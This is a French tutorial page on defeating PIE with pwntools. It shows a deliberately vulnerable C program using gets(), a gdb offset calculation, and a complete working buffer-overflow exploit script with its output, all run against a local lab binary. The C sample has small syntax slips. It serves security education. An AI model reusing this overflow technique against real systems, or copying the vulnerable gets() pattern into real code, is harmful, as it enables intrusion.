> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/pwn/protections/pie/bypass-pie.md).

# Bypass PIE

Bypass PIE avec pwntools

Dans le cas où [PIE](/cyber/pwn/protections/pie.md) est activée on peut utiliser [Broken mention](broken://pages/PRMj38eX0CqFMjNWqYXc) pour récupérer dynamiquement les offsets.&#x20;

## Fuite mémoire

Dans le cas où on a accès à l'adresse d'une partie du binaire (ici `main`). En récupérant les offsets avec pwntools à l'exécution on peut récupérer l'adresse de ce qu'on veut dans le binaire. Pour trouver celle de `bypassed` on fait comme ça:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2F8LrYvkRTIg1sC4KCZLcm%2Fpie-base-address.svg?alt=media&amp;token=45c96d08-6409-40a8-9de7-da382e708154" alt="" width="563"><figcaption><p>Récupération de l'adresse de bypassed</p></figcaption></figure>

Prenons un code vulnérable:

```c
#include <stdio.h>

void bypassed() {
    printf("PIE bypassed!\n");
}

void overflowMe() {
    
    char buffer[50];
    
    printf("Input: \n");
    gets(buffer);
}

int main(int argc, char** argv) {

    printf("main est situé à l'adresse: %p\n", &main)
    
    overflowMe()
    
    return 0;
}
```

On le compile avec PIE:

```c
gcc -fPIE -c pie.c -o pie.o
gcc -pie pie.o -o pie
```

On vérifie:

```bash
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ checksec --file=./pie                  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable        FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   40 Symbols        No    0               2 ./pie
```

Si on l'exécute plusieurs fois on voit bien que l'adresse de `main` change:

```bash
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./pie
main est situé à l'adresse: 0x55c14234b19a
Input: 
^C
                                                                                                                                   
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./pie
main est situé à l'adresse: 0x55916e12019a
Input: 
^C
```

Trouvons le nombre d'octets nécessaire pour écraser saved eip:

```c
(gdb) disas overflowMe 
Dump of assembler code for function overflowMe:
   0x000000000000116f <+0>:     push   rbp
   0x0000000000001170 <+1>:     mov    rbp,rsp
   0x0000000000001173 <+4>:     sub    rsp,0x40
   0x0000000000001177 <+8>:     lea    rax,[rip+0xe98]        # 0x2016
   0x000000000000117e <+15>:    mov    rdi,rax
   0x0000000000001181 <+18>:    call   0x1030 <puts@plt>
   0x0000000000001186 <+23>:    lea    rax,[rbp-0x40]  <== buffer
   0x000000000000118a <+27>:    mov    rdi,rax
   0x000000000000118d <+30>:    mov    eax,0x0
   0x0000000000001192 <+35>:    call   0x1050 <gets@plt>
   0x0000000000001197 <+40>:    nop
   0x0000000000001198 <+41>:    leave
   0x0000000000001199 <+42>:    ret
End of assembler dump.

```

Il faut 0x40 (64) octets pour atteindre rbp et 8 de plus pour atteindre rip donc ça nous fait 72 octets.

{% hint style="info" %}
C'est un exécutable 64-bit d'où rbp et rip au lieu de ebp et eip (il faut donc 8 octets pour remplir rbp là où 4 suffisent pour ebp).
{% endhint %}

C'est parti pour pwntools.

#### Création d'un objet ELF et d'un process

On commence par créer un objet ELF pour pouvoir lire les offsets et un processus pour l'exécution.

```python
from pwn import *

elf = ELF("./pie")
proc = elf.process()
```

#### Lancer l'exécution

Comme l'adresse de `main` est affichée après le message `"main est situé à l'adresse: "` on lis l'output jusque là. Ensuite on lis le reste de la ligne (l'adresse).

```python
# on lis l'output jusqu'à l'adresse avec recvuntil
proc.recvuntil("adresse: ")

# on lis l'adresse en lisant le reste de la ligne de l'output avec recvline
adresse_main = int(proc.recvline(), 16)

print("adresse de main: ", hex(adresse_main))
```

#### Récupérer les offsets

Avec notre objet ELF on lis les offsets de `main` et `bypassed`. En retirant l'offset de `main` à son adresse on tombe sur la base du binaire et en ajoutant l'offset de `bypassed` à cette base on récupère l'adresse de `bypassed` !

```python
# on récupère les offsets avec ELF
offset_main = elf.sym["main"]
offset_bypassed = elf.sym["bypassed"]

adresse_bypassed = adresse_main - offset_main + offset_bypassed
```

#### Construction et envoie du payload

On a vu qu'il faut 72 octets pour atteindre saved rip et on l'écrase avec l'adresse de `bypassed`.

```python
# on construit notre payload
payload = b"A" * 72
payload += p64(adresse_bypassed)

# on l'envoie
proc.sendline(payload)
```

#### Vérification

On récupère l'output pour voir si on a bien atteint la fonction `bypassed`. Si c'est le cas on verra `"PIE bypassed!\n"`.

```python
# récupérer tout l'output
print(proc.clean())
```

#### Code complet

````python
from pwn import *

elf = ELF("./pie")
proc = elf.process()

# on lis l'output jusqu'à l'adresse avec recvuntil
proc.recvuntil("adresse: ")

# on lis l'adresse en lisant le reste de la ligne de l'output avec recvline
adresse_main = int(proc.recvline(), 16)

print("adresse de main: ", hex(adresse_main))
```
# on récupère les offsets avec ELF
offset_main = elf.sym["main"]
offset_bypassed = elf.sym["bypassed"]

adresse_bypassed = adresse_main - offset_main + offset_bypassed

# on construit notre payload
payload = b"A" * 72
payload += p64(adresse_bypassed)

# on l'envoie
proc.sendline(payload)

# récupérer tout l'output
print(proc.clean())
````

Il ne reste plus qu'à l'exécuter.

```bash
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ python pie-exploit.py
[*] '/home/kali/Documents/exploits/pie'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/kali/Documents/exploits/pie': pid 62500
/home/kali/Documents/exploits/pie-exploit.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  proc.recvuntil("adresse: ")
adresse de main:  0x55dfd2c9319a

b'Input: \nPIE bypassed!\n'
[*] Stopped process '/home/kali/Documents/exploits/pie' (pid 62500)
```
